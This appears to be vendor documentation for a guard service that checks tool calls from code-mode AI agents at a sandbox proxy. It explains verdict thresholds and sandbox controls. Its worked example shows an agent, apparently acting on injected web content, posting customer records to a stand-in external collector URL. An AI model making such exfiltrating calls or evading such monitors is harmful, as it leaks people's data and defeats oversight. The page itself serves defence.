Use case

Guarding code-mode agents at the sandbox tool proxy

In code mode, the model writes a program that calls your tools, and a sandbox runs it. Dozens of tool calls can happen with no human watching. The tool proxy that connects the sandbox to your tools is the natural place to check each one.

3 min readLast updated

Checks run on our GPUs in Switzerland. Request payloads are not stored.Security

In 30 seconds

  • Code mode turns one model turn into many tool calls, executed by generated code.
  • Every call already passes through the sandbox’s tool proxy: put the guard there.
  • Use the batch endpoint to check calls together when the code issues them in parallel.
  • The sandbox limits what code can do; the guard judges what the tools are asked to do.

Code and dense tables are folded away. Open any of them on demand.

Example check

Generated code, after fetching a web page, calls an HTTP tool to post customer records to an external URL.

POST https://api.mcp-guard.ai/v1/guardjson
{
  "action": {
    "tool": "http.post",
    "args": {
      "url": "https://collector.example.com/upload",
      "body": "<customer records from crm.list_customers>"
    }
  },
  "intent": "Find customers who churned last quarter and draft a summary for the sales team",
  "trigger": "tool_result",
  "constraints": [
    "Customer data must not leave acme.test systems"
  ],
  "context": "Code-mode agent; call arrived at the sandbox tool proxy as step 7 of a generated script"
}
Show it as a curl command· shell
Terminalbash
curl https://api.mcp-guard.ai/v1/guard \
  -H "Authorization: Bearer $MCP_GUARD_API_KEY" \
  -H "Content-Type: application/json" \
  -d '{"action":{"tool":"http.post","args":{"url":"https://collector.example.com/upload","body":"<customer records from crm.list_customers>"}},"intent":"Find customers who churned last quarter and draft a summary for the sales team","trigger":"tool_result","constraints":["Customer data must not leave acme.test systems"],"context":"Code-mode agent; call arrived at the sandbox tool proxy as step 7 of a generated script"}'

Why code mode changes the picture

Cloudflare’s "Code Mode" and Anthropic’s "Code execution with MCP" describe the same pattern: instead of calling tools one by one through the model, the model writes code against a typed API for the tools, and a sandbox runs it. That saves context and round trips, and it means a single turn can issue many tool calls in loops and branches.

The trade-off is visibility. With direct tool calling, a client can show each call to a user. In code mode, the calls happen inside running code. A loop that deletes "stale" records, or a step that posts data to an external API, runs without anyone seeing the individual calls. See guarding code-mode agents.

Where the guard sits

The sandbox has no direct network or credentials. Its only way to reach your tools is the tool proxy: a binding or RPC layer that forwards each call to the real MCP server or API. That makes the proxy the one place every call passes through.

In the proxy, before forwarding a call:

  1. Build a check with action set to the tool and arguments, intent set to the user’s original request, and context describing the environment.
  2. Set trigger to tool_result when earlier calls in the same run returned external content, since the generated code may be acting on it.
  3. Call POST /v1/guard, or POST /v1/guard/batch (up to 64 checks) when the code issues several calls at once.
  4. Forward on allow, pause the run for approval on ask, and return an error to the code on block.

Acting on the verdict

By default the server returns block when P(unsafe) is at least 0.8 or the approval_policy head says reject, ask when P(unsafe) is at least 0.3, the policy head says require_human, or args_grounded is below 0.5, and allow otherwise. You can ignore the default verdict and apply your own thresholds to the scores.

Because nobody watches individual calls, the policy for code mode is usually stricter than for interactive agents. Pay attention to blast_radius (reads are cheap to allow; production writes are not), exfiltration (data leaving via an HTTP or messaging tool), injected (code acting on fetched content) and args_grounded (ids or recipients the user never mentioned). Returning a clear error on block lets the generated code handle the refusal instead of crashing silently.

A check takes about 15 ms on our GPU (RTX 4090, batch 1, p95 about 23 ms); a batch counts as one request against the free allowance, and each check in it is billed as one credit.

Controls to keep alongside the guard

The sandbox is itself a deterministic control; keep it tight:

  • No direct network access from the sandbox; only the tool proxy.
  • Credentials live in the proxy, never in the sandbox.
  • Per-run limits on the number of tool calls and on runtime.
  • An allowlist of tools each run may use.

The sandbox constrains what code can do. The guard judges whether each tool call makes sense for the request. Neither is sufficient alone, and the guard reduces risk without guaranteeing safety.

Frequently asked questions

Should I check every call, even reads?
Checking every call is simplest and keeps the policy in one place. Reads are expected to come back as allow. If cost matters, you can skip checks for a small allowlist of read-only tools.
Can I use the MCP server instead of the REST API?
Yes. The guard is also available as an MCP server with guard_check and guard_batch tools, though from a proxy the REST endpoints are usually simpler.

Sources

Last updated . MCP Guard reduces the risk of harmful agent actions; it does not guarantee safety. Keep deterministic controls in place alongside it. Third-party names are used only to describe their products; we are not affiliated with them.